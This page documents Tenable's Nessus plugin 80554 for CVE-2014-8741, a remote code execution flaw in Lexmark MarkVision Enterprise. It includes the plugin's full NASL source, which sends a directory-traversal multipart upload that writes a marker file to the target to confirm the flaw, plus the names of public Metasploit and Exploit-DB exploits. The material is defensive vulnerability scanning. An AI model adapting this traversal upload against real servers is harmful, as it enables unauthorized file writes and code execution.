Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability - Nessus

Critical   Plugin ID: 80554

This page contains detailed information about the Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 80554
Name: Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability
Filename: lexmark_markvision_gfdupload_rce.nasl
Vulnerability Published: 2014-12-09
This Plugin Published: 2015-01-15
Last Modification Time: 2021-01-19
Plugin Version: 1.9
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: lexmark_markvision_enterprise_detect.nasl
Required KB Items [?]: www/lexmark_markvision_enterprise

Vulnerability Information


Severity: Critical
Vulnerability Published: 2014-12-09
Patch Published: 2014-12-09
CVE [?]: CVE-2014-8741
CPE [?]: cpe:/a:lexmark:markvision

Synopsis

The remote web application is affected by a remote code execution vulnerability.

Description

Nessus was able to exploit a directory traversal vulnerability in Lexmark MarkVision Enterprise, within the 'GfdFileUploadServerlet' servlet, to upload a file to the remote host. A remote attacker can utilize this vulnerability to both upload and execute arbitrary code with SYSTEM privileges.

Solution

Upgrade to Lexmark MarkVision Enterprise 2.1.0 or later.

Public Exploits


Target Network Port(s): 9788
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability vulnerability:

  1. Metasploit: exploit/windows/http/lexmark_markvision_gfd_upload
    [Lexmark MarkVision Enterprise Arbitrary File Upload]
  2. Exploit-DB: exploits/java/remote/35776.rb
    [EDB-35776: Lexmark MarkVision Enterprise - Arbitrary File Upload (Metasploit)]
  3. D2 Elliot: lexmark_markvision_enterprise_2.0_file_upload.html
    [Lexmark MarkVision Enterprise 2.0 File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.3 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.3 (High)

Go back to menu.

Plugin Source


This is the lexmark_markvision_gfdupload_rce.nasl nessus plugin source code. This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(80554);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-8741");
  script_bugtraq_id(71623);

  script_name(english:"Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability");
  script_summary(english:"Attempts to exploit the vulnerability.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web application is affected by a remote code execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"Nessus was able to exploit a directory traversal vulnerability in
Lexmark MarkVision Enterprise, within the 'GfdFileUploadServerlet'
servlet, to upload a file to the remote host. A remote attacker can
utilize this vulnerability to both upload and execute arbitrary code
with SYSTEM privileges.");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-14-410/");
  # http://support.lexmark.com/index?page=content&id=TE666&locale=en&userlocale=EN_US
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f4db861a");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Lexmark MarkVision Enterprise 2.1.0 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Lexmark MarkVision Enterprise 2.0 File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Lexmark MarkVision Enterprise Arbitrary File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/12/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/12/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/01/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:lexmark:markvision");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("lexmark_markvision_enterprise_detect.nasl");
  script_require_keys("www/lexmark_markvision_enterprise");
  script_require_ports("Services/www", 9788);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

get_install_count(app_name:"lexmark_markvision_enterprise", exit_if_zero:TRUE);
port = get_http_port(default:9788);

install = get_single_install(
  app_name : "lexmark_markvision_enterprise",
  port     : port
);

dir = install['path'];

filename = "/..\..\..\apps\dm-mve\nessus.txt";

r = rand_str();

boundary = "---------------------------nessus";
postdata =
    '--' + boundary + '\r\n' +
    'Content-Disposition: form-data; name="success"\r\n' +
    '\r\nsuccess' + r + ' - $fn\r\n' +
    '--' + boundary + '\r\n' +
    'Content-Disposition: form-data; name="failure"\r\n' +
    '\r\nfailure\r\n' +
    '--' + boundary + '\r\n' +
    'Content-Disposition: form-data; name="datafile"; filename="' + filename + '"\r\n' +
    'Content-Type: text/html\r\n' +
    '\r\ndelete me - ' + r + '\r\n' +
    '--' + boundary + '--\r\n';

res = http_send_recv3(
  method: "POST",
  item: dir + "/upload/gfd",
  port: port,
  add_headers: make_array("Content-Type", "multipart/form-data; boundary=" + boundary),
  data: postdata,
  exit_on_fail: TRUE
);

exploit_req = http_last_sent_request();

# >success - "nessus-1421070914970.txt"<
item = eregmatch(pattern:'>\\s*success' + r + '\\s*-\\s*"([^"]+)"<', string:res[2]);

if(isnull(item))
 audit(AUDIT_WEB_APP_NOT_AFFECTED, "Lexmark MarkVision Enterprise", build_url(qs:dir, port:port));

filename = item[1];

res = http_send_recv3(
  method: "GET",
  item: dir + "/" + filename,
  port: port,
  exit_on_fail: TRUE
);

if("delete me - " + r == res[2])
{
  if(report_verbosity > 0)
  {
    snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
    report =
      '\nNessus was able to verify the issue exists with the following ' +
      'request :' +
      '\n' +
      '\n' + build_url(port:port, qs:dir + '/' + filename) +
      '\n' +
      '\nNote: This file has not been removed by Nessus and will need to'+
      '\nbe manually deleted.' +
      '\n';
    if (report_verbosity > 1)
    {
      report += '\nThis file was created using the following request :'+
        '\n' +
        '\n' + snip +
        '\n' + exploit_req +
        '\n' + snip +
        '\n';
    }
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, "Lexmark MarkVision Enterprise", build_url(qs:dir, port:port));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/lexmark_markvision_gfdupload_rce.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\lexmark_markvision_gfdupload_rce.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/lexmark_markvision_gfdupload_rce.nasl

Go back to menu.

How to Run


Here is how to run the Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability plugin ID 80554.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl lexmark_markvision_gfdupload_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a lexmark_markvision_gfdupload_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - lexmark_markvision_gfdupload_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state lexmark_markvision_gfdupload_rce.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 80203 - Lexmark MarkVision Enterprise < 2.1 Multiple Vulnerabilities
  • 88807 - Lexmark Markvision Enterprise Java Object Deserialization RCE
  • 86426 - Lexmark Printer config.html Administrator Authentication Bypass (FREAK)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file lexmark_markvision_gfdupload_rce.nasl version 1.9. For more plugins, visit the Nessus Plugin Library.

Go back to menu.